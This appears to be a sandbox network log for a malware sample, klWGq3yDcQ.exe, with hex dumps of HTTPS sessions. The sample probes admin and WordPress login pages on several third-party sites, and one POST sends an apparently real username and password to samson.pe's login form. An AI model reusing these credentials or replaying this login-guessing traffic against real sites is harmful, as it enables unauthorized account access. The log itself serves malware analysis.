289	192.168.2.4	62841	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	806	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:41 UTC	563	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e Data Ascii: in.css" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomain
2023-11-26 05:59:41 UTC	416	IN	Data Raw: 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e Data Ascii: ss?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];fun
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 31 31 38 34 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 79 2d 6d 6f 64 61 Data Ascii: 1184imension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overlay-moda
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 20 69 64 3d Data Ascii: ID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" value id=
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: "><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeD
2023-11-26 05:59:41 UTC	385	IN	Data Raw: 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 67 72 65 65 6e 22 Data Ascii: v></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title green"
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 62 2d 30 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f Data Ascii: 7ffa<a href="https://www.HugeDomains.com/shopping_cart.cfm?d=RobinsonLand&e=com" class="btn m-b-0 m-t-0 " id="hdv3Billboard197BuyID" onClick="$('#hdv3Billboard197BuyID').addClass('hiddenAtLoad'); $('#hdv3Billboard197BuyProceID').removeClass('hiddenAtLo
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 3d 22 20 70 6c 61 63 65 2d 6f 72 64 65 72 2d 62 74 6e 20 70 61 79 6d 65 6e 74 70 61 79 2d 61 63 63 61 75 6e 74 2d 63 6f 6e 74 65 6e 74 2d 62 74 6e 20 62 74 6e 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 Data Ascii: =" place-order-btn paymentpay-accaunt-content-btn btn hiddenAtLoad" onclick="return false;" style="height:50px; margin-left:0px; min-width:273px; margin-top:0px; margin-bottom:25px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	63148	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	330	OUT	POST /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://samson.pe/wp-login.php Content-Length: 153 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:40 UTC	153	OUT	Data Raw: 6c 6f 67 3d 6a 6d 61 6c 64 6f 6e 61 64 6f 25 34 30 73 61 6d 73 6f 6e 2e 70 65 26 70 77 64 3d 37 31 32 33 73 61 6d 73 6f 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 49 6e 69 63 69 61 72 2b 73 65 73 69 25 43 33 25 42 33 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 61 6d 73 6f 6e 2e 70 65 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jmaldonado%40samson.pe&pwd=7123samson&rememberme=forever&wp-submit=Iniciar+sesi%C3%B3n&redirect_to=https%3A%2F%2Fsamson.pe%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:41 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:41 UTC	813	IN	Data Raw: 32 33 65 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 23ec<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:41 UTC	8391	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	62886	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	170	OUT	GET /admin.php HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:41 UTC	646	IN	Data Raw: 32 37 61 0d 0a 2f 61 64 6d 69 6e 2e 70 68 70 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27a/admin.phpOOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	62844	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	778	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:41 UTC	591	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ref="https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet"
